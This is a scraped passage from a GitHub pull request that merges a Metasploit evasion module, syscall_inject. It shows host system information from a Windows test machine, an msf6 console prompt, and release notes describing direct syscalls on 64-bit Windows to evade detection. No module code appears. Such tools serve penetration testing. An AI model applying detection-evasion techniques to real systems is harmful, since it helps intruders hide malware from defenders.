\\WIN-3MSP8K2LCGC Hotfix(s): 11 Hotfix(s) Installed. [01]: KB5003538 [02]: KB4486153 [03]: KB4523204 [04]: KB4535680 [05]: KB4539571 [06]: KB4561600 [07]: KB4570332 [08]: KB4577586 [09]: KB4589208 [10]: KB5003711 [11]: KB5004947 Network Card(s): 2 NIC(s) Installed. [01]: Microsoft Kernel Debug Network Adapter Connection Name: Ethernet (Kernel Debugger) DHCP Enabled: Yes DHCP Server: 192.168.159.127 IP address(es) [01]: 192.168.159.96 [02]: fe80::b4dd:730c:d9b8:57b5 [02]: Intel(R) 82574L Gigabit Network Connection Connection Name: Ethernet0 Status: Hardware not present Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. msf6 evasion(windows/syscall_inject) > Sorry, something went wrong. smcintyre-r7 pushed a commit that referenced this issue 14 days ago Land #15506, Add evasion module syscall_inject Verified This commit was signed with the committer’s verified signature. smcintyre-r7 Spencer McIntyre GPG key ID: 58101BA0D0D9C987 Learn about vigilant mode. Loading status checks… 6acdced Hide details View details smcintyre-r7 merged commit c1868d9 into rapid7:master 14 days ago 23 checks passed Copy link Contributor SMCINTYRE-R7 COMMENTED 14 DAYS AGO RELEASE NOTES This adds a new evasion module that uses direct syscalls on 64-bit versions of Windows to evade detection. Sorry, something went wrong. Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment Reviewers smcintyre-r7 adfoster-r7 Assignees smcintyre-r7 Labels feature module rn-modules Projects None yet Milestone No milestone Linked issues Successfully merging this pull request may close these issues. None yet 3 participants Add this suggestion to a batch that can be applied as a single commit. This suggestion is invalid because no changes were made to the code. Suggestions cannot be applied while the pull request is closed. Suggestions cannot be applied while viewing a subset of changes. Only one suggestion per line can be applied in a batch. Add this suggestion to a batch that can be applied as a single commit. Applying suggestions on deleted lines is not supported. You must change the existing code in this line in order to create a valid suggestion. Outdated suggestions cannot be applied. This suggestion has been applied or marked resolved. Suggestions cannot be applied from pending reviews. Suggestions cannot be applied on multi-line comments. * © 2021 GitHub, Inc. * Terms * Privacy * Security * Status * Docs * Contact GitHub * Pricing * API * Training * Blog * About You can’t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.